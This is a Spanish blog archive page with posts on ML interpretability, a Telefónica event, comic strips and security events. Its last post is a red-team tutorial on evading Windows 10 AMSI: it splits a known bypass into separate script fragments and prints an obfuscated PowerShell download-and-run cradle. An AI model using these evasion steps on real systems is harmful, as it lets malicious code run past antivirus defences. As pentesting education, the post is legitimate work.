sábado, octubre 24, 2020

Machine Learning Interpretability: Uno de los mayores retos de la Inteligencia Artificial

La Inteligencia Artificial (IA) es ya una realidad en todo el mundo. Todos nosotros la utilizamos, directa o indirectamente, en nuestro día a día y sin darnos cuenta de ello. En estos últimos años, ha avanzado muchísimo. Una prueba de hacia dónde vamos son las aplicaciones del nuevo modelo GPT3 del que nos habló nuestro compañero Pablo Saucedo.

Figura 1: Machine Learning Interpretability: Uno de los mayores retos de la Inteligencia Artificial 

Actualmente, uno de los campos de la IA que más se ha desarrollado es el Machine Learning - aplicado en todas las industrias y negocios, como hacemos nosotros al aplicarlo a la ciberseguridad -, es decir, hacer que una máquina aprenda algo, pero ¿cómo hacemos que las máquinas aprendan? Pues muy sencillo: a través de los datos. 

Figura 2: Libro de Machine Learning aplicado a Ciberseguridad de
Carmen Torrano, Fran Ramírez, Paloma Recuero, José Torres y Santiago Hernández

Es decir, los algoritmos reciben datos relacionados con una o varias situaciones (generalmente el problema está acotado) siendo capaces de deducir una serie de patrones en esa información. Posteriormente, estas máquinas serán capaces de resolver problemas relacionados con esa o esas situaciones a través de los patrones que han aprendido.

Introducción al problema de interpretabilidad en modelos de Machine Learning

En general, los modelos de Machine Learning se centran en dar una respuesta o salida (con una probabilidad de éxito o error asociada) a unos valores o atributos que reciben como entrada. Sin embargo, estos no se centran en explicar el porqué de esa salida.

Figura 3: Primero se entrena el modelo de Machine Learning y
posteriormente se utiliza para realizar predicciones 

Quizás, esto puede parecer algo abstracto para aquellos que no hayan trabajado con modelos de Machine Learning. No os preocupéis, vamos a verlo con un ejemplo. Supongamos que queremos predecir el precio de una casa. Para ello, hemos entrenado un modelo con datos reales de casas. Cada una de ellas puede describirse con una serie de características o atributos como, por ejemplo: número de habitaciones, número de cuartos de baño, metros cuadrados, situación geográfica, el tipo de casa y el precio. Entonces, el modelo es capaz de asociar las características de una casa a su precio, de forma que cuando nosotros introduzcamos como entrada una casa con sus características, este sea capaz de predecir su precio.

Supongamos ahora que Alice quiere saber cuánto cuesta su casa porque está pensando en venderla y mudarse a otra ciudad a vivir. Entonces, Alice utiliza el modelo que ha sido entrenado para predecir el precio de una casa. Este le devuelve un precio como salida, pero Alice se hace las siguientes preguntas:

- ¿Por qué ese es el precio de mi casa?  
 
- ¿Por qué es tan bajo? 
 
- ¿Qué atributo o característica de la casa es el más importante para la predicción del precio? 
 
- ¿Puedo centrarme en mejorar una característica de mi casa y que así el precio aumente considerablemente? 

Pues desafortunadamente, por sí solo, este modelo no es capaz de explicar por qué el precio predicho de la casa de Alice es ese ni cómo afecta cada uno de los atributos o características de la entrada a la salida. El modelo solo es capaz de informar a Alice del precio de su casa, dadas sus características. Además, ¿cómo puede asegurarse Alice de que realmente el modelo funciona correctamente y no se ha confundido? Puede que el modelo no haya sido entrenado teniendo en cuenta casas similares a la suya. 

Sin una explicación, o mejor dicho sin que el modelo sea interpretable, Alice nunca lo sabrá. A continuación, mostramos varios ejemplos que podrían darse en un futuro no tan lejano y que pueden llegar a ser bastante críticos:

- ¿Por qué no podemos recibir un préstamo del banco? 
 
- ¿Por qué nuestro coche autónomo toma esa decisión? 
 
- ¿Por qué el precio de nuestro seguro de coche es tan caro? 
 
- ¿El modelo tiene sesgos de género?

La última pregunta es algo real y muy reciente. Este mismo mes de octubre el Ministerio de Igualdad, dirigido por Irene Montero, ha organizado un seminario donde se abordó “la reproducción de los sesgos sociales de los algoritmos que rigen las inteligencias artificiales”, tal y como puedes ver aquí, que ya ha sido subido a Youtube.

Figura 4: Seminario de Inteligencia Artificial y Género

Planteamos otro caso de uso: a veces los algoritmos de Machine Learning o Inteligencia Artificial pueden superar al ser humano - superando la Paridad Humana - , tal y como se muestra en la gráfica de la Figura 5. ¿No podríamos utilizar las decisiones que toma ese modelo para aprender nosotros mismos, si fuésemos capaces de saber qué decisiones toma? Imaginaos este potencial en un ámbito sanitario, tal y como ya se ha probado para reconocer imágenes de enfermos de COVID-19 usando Deep Learning y Teachable Machine. A nosotros personalmente nos parece un gran avance. Seriamos capaces de aprender de una máquina e incluso, abrir nuevas vías de investigación gracias a ella. 

Figura 5: Curva que muestra la precisión (accuracy) del modelo durante su entrenamiento. Llega un momento en el que el modelo es capaz de superar la precisión humana (human accuracy). 

Planteamos un ejemplo sencillo e irreal. Cada uno seguro que sabe extrapolarlo a sus necesidades u otras aplicaciones más interesantes: imaginaos que un algoritmo de Machine Learning utiliza diez mil características para determinar cuánto tiempo durará un electrodoméstico funcionando adecuadamente. 

Suponiendo que este modelo tiene muy buenos resultados, podríamos utilizarlo para aprender y ver en qué características se fija. Nosotros como personas, no vamos a poder fijarnos en diez mil características, pero, si sabemos las causas de sus decisiones, podríamos inferir las diez características más importantes. De esta forma, podríamos inferir por nosotros mismos cuánto durará un electrodoméstico antes de comprarlo.

Por tanto, a raíz de la necesidad de comprender las causas de una decisión en los algoritmos de Machine Learning, aparecen las técnicas de Machine Learning Interpretability.

Machine Learning Interpretability

Machine Learning Interpretability es una parte de la IA que se encarga de analizar la relación que existe entre la entrada y la salida de un modelo de Machine Learning. Es decir, analiza cómo el valor de los atributos de las entradas afectan a las salidas, de forma que un humano pueda comprender las causas de una decisión. Este ha sido un problema con muchas aproximaciones en el que, por ejemplo. Google presentó eu TCAV (Testing with Concept Activation Vectors) para encontrar los sesgos en el aprendizaje de los algoritmos.

Figura 6: Exposición gráfica del problema de algunos modelos
de Machine Learning: la falta de interpretabilidad. 

Cuando implementamos un modelo, utilizamos distintas métricas para analizar lo bueno que es ese modelo. Para simplificar, en este caso solamente tendremos en cuenta la accuracy o precisión. Generalmente, cuando queremos obtener mejores resultados, cambiamos el modelo o le añadimos más complejidad. 

Figura 7: relación entre la accuracy o precisión de un modelo y su interpretabilidad

Sin embargo, esto disminuye su interpretabilidad. Esto es lo que se muestra en la Figura 7. Es decir, tal y como se ve, una red neuronal o un algoritmo de Deep Learning tendrá mejores resultados que una regresión lineal. Sin embargo, su interpretabilidad será mucho menor debido a su complejidad intrínseca. 

Técnicas de interpretabilidad para modelos de Machine Learning  

Las técnicas que se utilizan para aportar interpretabilidad a modelos de Machine Learning se clasifican según varios criterios:

- Intrínseco o post-hoc: este criterio distingue si la interpretabilidad se logra restringiendo la complejidad del modelo o aplicando métodos que analizan el modelo después del entrenamiento. La interpretabilidad intrínseca se refiere a modelos de Machine Learning que se consideran interpretables debido a su simple estructura, como por ejemplo árboles de decisión pequeños. La interpretabilidad post-hoc se refiere a aplicar métodos o técnicas de interpretabilidad después de haber entrenado el modelo.

- Local o global: se refiere a si el método explica una predicción individual, un conjunto de ellas o el comportamiento del modelo.

- Específico o agnóstico: se refiere a si el método solamente es capaz de dar interpretabilidad de determinados modelos o de si es capaz de hacerlo para cualquier tipo de modelo.

- Resultado: este criterio indica el tipo de resultado que devuelve el método de interpretabilidad. Hay varias posibilidades: feature summary statistic, feature summary visualization, model internals, data points, etcétera.

Además, hay distintos métodos que permiten evaluar cómo de buena es la interpretabilidad y hacer que los resultados sean amigables para un humano. Si alguien quiere entrar en más detalle, dejamos un libro, publicado este mismo año y visible en Github, que explica todos estos conceptos de forma más detallada.


En posts sucesivos, explicaremos varias técnicas de Machine Learning Interpretability y cómo funcionan, poniendo varios ejemplos.

Conclusión personal

Debido al uso y gran desarrollo que está teniendo actualmente la IA, más concretamente los algoritmos de Machine Learning, creo que es muy importante que esta área se desarrolle todavía más. En muchos casos, es importante entender por qué un modelo toma esas decisiones en determinadas situaciones, tanto para entenderlas como para asegurarnos de que no se ha producido un error. 

Ojo: esto no implica que todos los modelos deban hacerlo. Hay veces que no necesitamos interpretabilidad. A nosotros, personalmente, nos fascina cómo se podrían llegar a utilizar estas técnicas para aprender de la Inteligencia Artificial. Ella aprende gracias a nosotros y nosotros aprendemos de ella. Esperamos que os haya gustado.

Saludos, 

Autores:

Alberto Rivera Martínez (@ariveram2111), Ingeniero Informático y desarrollador e investigador en el equipo de Aura-Prototypes de la unidad CDCO de Telefónica. Para cualquier duda, consulta o comentario puedes utilizar su buzón público.


Marcos Rivera Martínez (@marcos_98_rm), Ingeniero Informático e investigador de Inteligencia Artificial y Ciberseguridad en el equipo de Ideas Locas de la unidad CDCO de Telefónica.

viernes, octubre 23, 2020

El Hogar Digital abrirá sus puertas a Ilustres Ignorantes el próximo 12 de noviembre.

Que Telefónica lleva apostando desde sus inicios por acercar la innovación a los hogares de sus clientes no es nada nuevo. Ya lo hizo siendo la compañía pionera en llevar la Fibra, la red WiFi o los paquetes de Fusión con TV a los hogares. También lo ha sido a la hora de aportar experiencias digitales y acercar servicios basados en seguridad, privacidad y confianza. Sin olvidar los dispositivos, que se renuevan y mejoran para adelantarse a las necesidades y tendencias tecnológicas, como el 5G o el WiFi 6.


Porque la digitalización es una realidad que está presente en todos los ámbitos de nuestra vida. Por ello trabajamos constantemente para que este proceso, lleno de posibilidades y conexiones, sea lo más cercano y sencillo para nuestros clientes. Todo este ecosistema se traduce en el Hogar Digital y precisamente éste será nuestro tema principal en el próximo evento en el que participaré. 

El próximo jueves 12 de noviembre, celebraremos un encuentro para compartir todos los detalles y apuestas del Hogar Digital. A esta citará no faltará el humor ni la tecnología, que irán de la mano de Ilustres Ignorantes como invitados especiales. También estaremos María Jesús Almazor, Consejera Delegada de Telefónica España y Chema Alonso, Chief Digital Consumer Officer de Telefónica. Y tú también podrás asistir de forma telemática. Si te interesa, solo tienes que entrar en la página web del evento del Hogar Digital y registrarte.


Figura 2: Living App de Smart wifi

Con las Living Apps llevamos a la televisión más que los contenidos en directo y a la carta, creando nuevas experiencias como gestionar tu red WiFi o tu cuenta de Mi Movistar  a más de un millón de hogares además de traer experiencias culturales o de e-commerce. Y es que Movistar+ tiene mucho más que ofrecer de lo que hemos visto hasta ahora. 
 

Figura 3: Living App de Fotnite

Telefónica, tras corroborar el éxito de la plataforma desarrollando sus propias aplicaciones, decidió abrir el catálogo de Living Apps a terceros para que fuesen esas empresas las que pudiesen desarrollar sus propias experiencias. Las primeras en ver su potencial fueron Atlético de Madrid, Air Europa o Iberia. Después se sumaron Epic Games con Fortnite, GoMusic, Nubico, Zeleris o por ejemplo FitCo Moves.

Figura 4: Living App de FitCo Moves

Pero eso fue solo el principio. Ellas han sido las pioneras demostrando que las Living Apps pueden favorecer una diferenciación clara con respecto a otras empresas. Que dentro de estas aplicaciones se pueden generar experiencias en torno al disfrute de contenidos (un ejemplo es la Living App de GoMusic desde la que puedes ver las actuaciones en directo de tus artistas favoritos); gamificación y retos (como los entrenos diarios de la Living App de FitCo Moves que te permiten retar a amigos); compras (con la Living App de Movistar Shop) o gestión de servicios (con la Living App de Smart WiFi), entre otros muchos casos de uso ya disponibles en Movistar+.


Figura 5: Living App Nubico

Y es que, si algo hemos aprendido en todo este proceso es que es imprescindible anteponerse a las necesidades mirar más allá para ofrecer la mayor calidad a los clientes. Y eso, en Telefónica, se refleja en el Hogar Movistar. Un ecosistema dotado de experiencias, servicios y dispositivos propios como Movistar Home o el Mando Vocal Movistar+ reforzados con Aura, nuestra Inteligencia Artificial.


Figura 6: Control de Movistar+ con el mando vocal Aura

Así que, si tienes una empresa y quieres saber más sobre lo que estamos haciendo en el Hogar Digital tanto en equipamiento como en servicios y experiencias, os invitamos a que no faltéis a la cita del próximo 12 de noviembre

Saludos,

Autor: Antonio Guzmán, Director de Digital Home en CDCO, Telefónica

jueves, octubre 22, 2020

Las tiras de Cálico Electrónico en Deili Electrónico y muchas más cosas durante el último més y medio @calicoOficial #CalicoElectronico

Fue a principios de septiembre cuando os hice el último recopilatorio de las tiras de Cálico Electrónico en Deili Electrónico durante el verano. Y hoy aprovecho para  hacer un recopilatorio de las publicadas durante las últimas seis o siete semanas para que no se escape ninguna si eres un fiel seguidor de este blog, que ya sabes que me gusta sacar todo por aquí para que los que lo seguís siempre tengáis el máximo de información posible.

Figura 1: Las tiras de Cálico Electrónico en Deili Electrónico
y muchas más cosas durante el último més y medio

Como sabéis, todas las tiras las publicamos en Deili Electrónico en la web oficial de Cálico Electrónico y salen por la cuenta Twitter oficial de Cálico Electrónico, donde además hemos sacado algún dibujo especial para el Batman Day, el día que despedimos a Quino o para el primer aniversario de MyPublicInbox, a parte de algún que otro mensaje curioso. Hoy os recopilo todo.
Esta primera tira que salió el 9 de Septiembre junta a Nikotxan y Blowearts, creador de Cálico Electrónico y dibujante actual de las tiras de Cálico. Sí, bueno, también salgo yo, que soy igual de "Maligno" que Niko.
El 10 de Septiembre, Cálico Electrónico se hacía eco de que por fin había salido el último número de la serie de Evil:ONE, con lo que puedes tener tu mini-serie de cómics completa desde ya. Si tienes Tempos en MyPublicInbox, puedes usarlos para conseguirla.
El día 16 de Septiembre nos encontramos con la vuelta al cole con mascarillas en esta nueva normalidad. Cálico Electrónico tiene sus problemillas al recoger a Ardorín de la escuela.
El día 19 de Septiembre fue el Batman Day, y Blowearts nos hizo esa ilustración. Pero también recordamos que años atrás Nikotxan había hecho una tira para el Batman Day con Muzamán contando uno de sus chistes malos.
Y rememorando ese chiste, este Batman Day, tuvimos una tira extra hecha a la limón entre Nikotxan y Blowearts, que podéis ver por aquí. Sí, otro chiste malo, malo, malo de Muzamán.
Esto nos lleva al 23 de Septiembre, con nuevas restricciones de movilidad por culpa del COVID-19 y la necesidad de un certificado para ir al trabajo. También para el pobre Cálico Electrónico.
Ese mismo día, desde Xataka nos regalaron una maravillosa entrevista a Nikotxan para recordar los orígenes del Cálico Electrónico, recorriendo toda la historia del gordito.
Y la entrevista se completó el día 26 de Septiembre con un vídeo recordatorio de toda la vida de Cálico Electrónico, que puedes ver en este mensaje.
Y el día siguiente, el día 27 de Septiembre, José Luis Arranz entrevistó a Pablo Gómez, también conocido como "Blowearts", el actual dibujante de las tiras de Cálico Electrónico.
Y de ahí al 30 de Septiembre, último día del mes, para tener una nueva tira de Cálico en Deili Electrónico.
Ese día se nos hizo un vacío en el mundo con la pérdida de Quino, creador de nuestra querida Mafalda, así que quisimos homenajearle todos a nuestra manera. Nikotxan eligió esta icónica viñeta.

Blowearts hizo este dibujo tan bonito con Mafalda y Quino soñando para recordar al maestro.
Y yo lo recordé con la tira que hace muchos años dedique a Mafalda y la incomprensión en el mundo.
Por último, como no podía ser de otra forma, Cálico Electrónico también hizo su pequeño homenaje a Mafalda y Quino con esta viñeta.
Ya el 7 de Octubre, volvimos con una nueva tira de Deili Electrónico, en este caso sobre la vuelta al cine, que a Cálico Electrónico también le gustan las películas en pantalla grande.
El día 9 de Octubre sacamos el óleo de Cálico Electrónico hecho con rotulador que vimos por las redes, y que nos encantó.
Y el día 10 de Octubre el dibujo que BloweArts nos regaló por el primer aniversario de MyPublicInbox, en el que soplar con mascarillas se puede ver que no es fácil.
El 14 de Octubre teníamos una nueva tira de Deili Electrónico, para volver a tener a Muzamán en acción dando lo mejor de sí mismo. No podía ser de otra forma.
El día 19 de Octubre, que es el Día Internacional para la Prevención del Cancer de Mama, desde el equipo quisimos que La Ladrona estuviera presente para colaborar en la prevención de una dura enfermedad que nos preocupa a todos como sociedad.
Para terminar con el resumen, ayer el 21 de Octubre, tenemos la nueva tira de Deili Electrónico con una nueva aventura entre Muzamán y Cálico Electrónico. De esas cosas cotidianas que les pasan a nuestros héroes, que se toman el trabajo con humor.
Y esto ha sido hasta hoy mismo, pero seguiremos publicando todo el material en nuestro canal de oficial de twitter de Cálico Electrónico (@CalicoOficial), en la página web de Cálico Electrónico, y en la Página Oficial de Cálico Electrónico en Facebook. Además, recuerda que te puedes comprar el cómic con Las Tiras de Cálico en 0xWord.

Saludos Malignos!

miércoles, octubre 21, 2020

Semana Cibersegura: Participo en 3 eventos online de ciberseguridad y tenemos un curso online de forense digital y respuesta a incidentes

La semana que viene tenemos tres citas con la formación en ciberseguridad que se pueden seguir online, por lo que os las comparto por si os apetece conectaros a ellas, o haceros un curso online que suba tu nivel de conocimientos en ciberseguridad y técnicas de análisis forense. Estas son las tres que tengo en el radar.

Figura 1: Semana Cibersegura: Participo en 3 eventos online de ciberseguridad y tenemos un curso online de forense digital y respuesta a incidentes

La primera de las citas es en inglés y será conmigo. La segunda de las citas es una formación online en HackBySecurity que se va a impartir por primera vez. La tercera cita será en la 8.8 de Chile. Y la última es un evento online gratuito pero con plazas limitadas, así que si quieres participar debes darte prisa. 

26 Octubre: Blade Runner World is here and Gone en la Connect Univiersity

El día 26 de octubre, de 14:00 a 15:00 horas daré una charla online dentro del Mes de la Ciberseguridad en la Unión Europea. Será una sesión en inglés en la Connect University y hablaré de Ciberseguridad hoy en día.  Si quieres apuntarte, tienes toda la información en el siguiente enlace, donde el título de la charla es "Blade Runner World is here and gone", que ya sabéis que 2019, el año en que se ambientaba la mítica película ya paso....


27 de Octubre: Curso Online de Digital Forensic & Incident Response

Esta no es una conferencia, y tampoco es en inglés. Es un curso online dedicado a la disciplina de Análisis Forense tanto para el peritaje judicial como para la gestión de los incidentes y su respuesta. El curso lo imparten los profesionales de HackBySecurity y cuenta con un temario formado por doce módulos que recorren los principales temas a conocer por todo buen analista forense.


El curso tiene como complemento a la formación el libro de 0xWord escrito por Pilar Vila, llamado "Técnicas de Análisis Forense para Peritos Judiciales profesionales". Pilar Vila, recientemente, ha sido nominada recientemente a los premios European Women Legal Tech 2020 por su trayectoria profesional.

Figura 4: "Técnicas de Análisis Forense Informático para Peritos Judiciales Profesionales"
Libro de Pilar Vila en 0xWord para todos los alumnos.

Además, todos los alumnos tienen incluidos 200 Tempos de MyPublicInbox que pueden utilizar para contactar con cualquier Perfil Público y de la plataforma - incluida Pilar Vila -, y los que utilicen el Código: OCTUBRE tendrán un 30 % de descuento en la formación.

28 a 31 de Octubre: 8.8 Legends Online Edition (Chile)

De miércoles a sábado de la semana que viene, también tendrá lugar la 8.8 de Chile. Una cita obligada anual en el panorama del hacking y la ciberseguridad. Este año los ponentes son un elenco variado de figuras como Jack Daniels, Nina Allí, Raoul Chiesa, el gran César Cerrudo, Gabriel Bergel o la Susana González, por citar algunos.


Yo daré mi charla el día 30 a las 14:00 de la tarde hora española, pero os prometo que aún no he decidido de qué voy a hablar. Así que espero que si venís a verla sea porque tenéis confianza ciega en que contaré algo que os guste. 


Además, para el cartel de este año nos hicieron unos dibujos muy chulos. Esta es la ilustración que hicieron de mí. Maravilloso el artista.

30 de Octubre: Trans Atlantic Cibersecurity Summit 2020 (TACS 2020)

Para acabar el mes de octubre, tenemos la 4ª Edición anual de este encuentro, en esta ocasión se hace especial mención a las capacidades defensivas en un periodo hostil con numerosos desafíos que las organizaciones privadas y públicas deben afrontar en el presente periodo. 


Los riesgos digitales asociados a los ciberataques afectan a sectores críticos para nuestra sociedad: industriales, logísticos, administraciones públicas, además de sectores privados que prestan servicios para entornos sensibles, en los que la confidencialidad es un requisito indispensable para operar. Y yo participaré en la apertura con una pequeña entrevista. 


Después, tenemos una jornada presentada por Monica Valle, en la que además estarán Igor Lukic, Leandro Naranjo, Marcelo Vázquez, la Dra. Ofelia Tejerina que es la Presidenta de la Asociación de Internautas, Jaime Álvarez y Juan Flores, además del ponente misterioso que cierra la jornada.

Dará una conferencia en el TACS y participará en la mesa de debate.

Tres actividades para terminar el mes de la ciberseguridad, y si estás pensando en hacer un Máster de Cibersseguridad, criptografía, inteligencia u otra disciplina en seguridad informática con título por la universidad, recuerda que tienes los del Campus Internacional de Ciberseguridad que van a dar comienzo en Marzo.

Saludos Malignos!

martes, octubre 20, 2020

Hacking Windows10: Troceando scripts para lograr el bypass de AMSI

Desde hace ya tiempo hemos trabajado con el sistema AMSI (Anti Malware Scan Interface) de Windows 10 para entenderlo, conocerlo y en lo que podamos, mejorar su funcionamiento descubriendo sus límites. Desde luego que es una protección más que interesante y que permite detectar ciertas instrucciones maliciosas en lenguajes de scripting como Javascript, Powershell o VBS antes de que sean ejecutadas. Es una forma de llegar donde el antivirus (AV) no puede llegar o, mejor dicho, de enterarse lo que pasa en un proceso cuando el AV no puede enterarse “per se”.

Figura 1: Hacking Windows10: Troceando scripts para lograr el bypass de AMSI

En Ideas Locas hemos llevado a cabo la creación de la herramienta ATTPwn, de la que ayer os contábamos las novedades de la nueva versión, y en la que pusimos mucho “cariño”. Esta herramienta de emulación de amenazas nos ha permitido enfrentarnos con el juego del gato y del ratón que presenta AMSI, como cualquier otra protección. Ya hemos hablado en el blog de estas cosas como, por ejemplo, con el artículo de ofuscación, bypass manual y AMSI.fail.


Trabajando últimamente con ATTPwn y mostrándolo en diversas conferencias nos hemos dado cuenta de la rapidez con la que AMSI ayuda a detectar ATTPwn o la consola que es el código de inicio en Powershell. Si estudiamos a Metasploit y el módulo web_delivery con su opción de Powershell podemos ver que, en las nuevas versiones, se ejecuta primero un bypass para AMSI, si estás en Windows 10, y posteriormente se ejecuta el Meterpreter o payload que hayas configurado.

Figura 3: Metasploit para Pentesters Gold Edition

Esto no es más que un ejemplo de la necesidad hoy en día de conocer las posibilidades de bypassear un AMSI en un Ethical Hacking y, lo más importante, ser capaces de modificar cualquier tipo de script que haga un bypass de AMSI para que, una vez detectado, podamos hacerlo de nuevo “indetectable”. De esto vamos a hablar en este artículo.

Cuando tu código de Powershell orientado a Pentesting es detectado

Cuando un código que hacía algo importante para tu Ethical Hacking es detectado por un AV, gracias a la implementación en ese proceso de AMSI, es un “problema”. ¿Qué podemos revisar? Sabemos que si ofuscamos el código puede que el AV no lo detecte como malicioso, pero ¿tengo más opciones? Sí. En la imagen se puede ver la consola de ATTPwn siendo detectada por AMSI.

Figura 4: Consola de ATTPwn detectada por AMSI 

Podemos abrir un ISE Powershell y comprobar paso a paso qué es lo que funciona y qué es lo que es detectado. Esto nos permite tener una primera visión del problema. Es una forma de aislar y acotar el problema. Pensemos que si tengo un script de 10 líneas y lo ejecuto sin más y es detectado, tengo que dividir el problema. Recuerda “divide y vencerás”. Mi script de 10 líneas puede ejecutarse en una Powershell de 2 líneas en 2 líneas. Si ejecuto las 2 primeras líneas y todo va bien, significa que AMSI no se “queja”. Podemos reducir el problema a:

1. Ejecuta 2 primeras líneas de mi script 10 de líneas.
2. Si todo va bien, ejecuto las siguientes 2.
3. Si todo va bien… así hasta llegar a las 10 líneas de mi script.
4. Si no se ha quejado y la funcionalidad se ha acabado ejecutando significa que puedo operar “troceando” la función o el script. Sin necesidad de ofuscar.

Si lo llevamos al plano de bypass de AMSI, nosotros nos encontramos con el problema de que la consola de ATTPwn era detectada y el usuario puede entender que la aplicación no funciona. No es cierto, es algo con lo que uno se debe enfrentar y dar solución. El usuario puede modificar el cómo se ejecuta dicho código, ofuscarlo, modificarlo, hacer lo que sea para evitar la protección. 

Figura 5: Libro de Pentesting con PowerShell 2ª Edición

Una estrategia para solventar el problema, que puede que en el futuro lo vuelvan a detectar, es la de trocear el bypass de AMSI de rasta-mouse, el cual está en ibombshell y en ATTPwn. El objetivo es evitar que esta función sea detectada por AMSI y ejecutarla. Posteriormente ejecutaríamos ATTPwn sobre un proceso sin AMSI, ¿Cómo lo haremos? Lo veremos un poco más adelante.

Figura 6: Deshabilitar envío de muestras en MS Windows Defender 

Una recomendación cuando se está “jugando” con todo esto es tener la máquina virtual sin conexión a Internet si no queremos que se actualicen las firmas y/o deshabilitar la subida de las muestras. Esto se puede hacer desde Windows Defender de forma sencilla, aunque si la máquina no tiene conexión a Internet nos valdría.

Utilizando un bypass “Classic” más lo que hemos aprendido

Ahora, vamos a ver cómo troceamos el script para que podamos hacer el bypass de AMSI y nuestra consola de ATTPwn no sea “cazada” como maliciosa. Antes de nada, hay que pensar en, si podríamos hacerlo con un bypass de “classic”. Es cierto que modificando la línea ‘iex(new-object net.webclient).downloadstring(‘[URL consola]’) y metiendo alguna concatenación de strings se puede lograr, si la detección está basada en la firma de la URL. En el caso de que sea por contenido de la función consola, así no lo lograremos.

Figura 7: Parte 1 del script

La mentalidad de la estrategia es “una vez ejecutado algo, ya está ejecutado, sigamos leyendo”. Esto quiere decir que, basándonos en el apartado anterior, podemos trocear la función de bypass de AMSI de rasta-mouse e invocarla lo primero. Una vez ejecutada, podremos ejecutar la consola sin problema. Vamos a ello.

Figura 8: Parte 2 del script

Lo primero es ver que tenemos 5 ficheros *.ps1 . En cada fichero tenemos un trozo de función de bypass de AMSI. El tercer fichero el código “troceado” lo puedes ver aquí.

Figura 9: Parte 3 del script

Ahora viene un problema con el que nos enfrentamos. Quisimos dividir de menos, es decir, en el fichero 4 queríamos terminar el bypass de AMSI y ejecutar la consola de ATTPwn. ¿Qué ocurrió? 

Figura 10: Intentando abrir la consola en la parte 4 del script 

En la Figura 10 puedes ver el código que hicimos, pero si probamos a ejecutar los scripts, veremos que el truco aquí no funcionará, tal como se ve en la imagen siguiente.

Figura 11: Fallo en la ejecución de la parte 4 

Era demasiado pronto, ya que la instrucción de descarga de la consola se detectaba como malicioso. Quizá con una concatenación de strings en la URL se arregle, pero mejor no dividir de menos.

Figura 12: Parte 4 del script, correcta. 

Así quedaría el fichero 4.ps1 y el fichero 5.ps1. Cada uno en su parcela para ver si podemos saltarnos el AMSI con este troceado.

Figura 13: Parte 5 del script 

La idea es ir ejecutando cada uno por separado, de modo que AMSI solo evaluará los ficheros que correspondan. Recordando lo de “una vez ejecutado, ejecutado queda” pues si el fichero 1.ps1 es evaluado como no malicioso y ejecutamos ese trozo, digamos que el AV no tiene memoria de lo que has ejecutado previamente. 

Figura 14: Ejecución de la función byp4ss

En ATTPwn hay una función que te devuelve una función, la que le pidas, para ser ejecutada. Esta función es “givemefunction”. De esta forma, directamente, se puede pedir una función y ser ejecutada antes de empezar con el flujo normal de una consola de ATTPwn que pide un plan de amenaza a emular. Recapitulando tenemos:

- 5 “snippets” de código que sumados ejecutan el bypass de AMSI 
- Un fichero llamado byp4ss que almacena la llamada iex(new-object net'.'webclient).downloadstring([URL]) a cada “snippet” de código. 
 
- El 5 fragmento de código es el de la llamada a la consola de ATTPwn. 
 
- Los 4 primeros fragmentos se irán ejecutando y la suma es el bypass de AMSI.

Cabe destacar que tanto la llamada de la función byp4ss como las realizadas dentro de ella, hasta lograr el bypass de AMSI, son realizadas con una ofuscación mínima pero necesaria para hacer posible la ejecución de dicho bypass. Se puede ver en el entrecomillado del punto en iex(new-object net'.'webclient).downloadstring([URL])

Figura 15: Resultados sin y con una ofuscación mínima para lanzar el bypass

Es una técnica que podréis utilizar en diversos Ethical Hacking o ejercicios de Red Team ya que los resultados son bastante buenos. Otra vía, como se ha dicho en este artículo es ir por la ofuscación. Es otra opción. Sea como sea, ya tienes disponible en la última versión de ATTPwn, la 0.2.1, la posibilidad de crear el código de warrior de esta forma, para “asegurarte” el bypass de AMSI en un entorno Windows 10, Windows Server 2016/2019

Saludos,  

Autores:

Luis E. Álvarezdesarrollador y miembro del equipo Ideas Locas CDCO de Telefónica.

Figura 16: Contactar con Luis Eduardo Álvarez en MyPublicInbox

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

Figura 17: Contactar con Pablo González

Entrada destacada

ESET te consigue 100 Tempos de MyPublicInbox para consultar con los expertos de seguridad informática @eset_es @mypublicinbox1

La compañía de seguridad ESET , especializada en soluciones de seguridad personal y empresarial, ha puesto activa una campaña de concienciac...

Entradas populares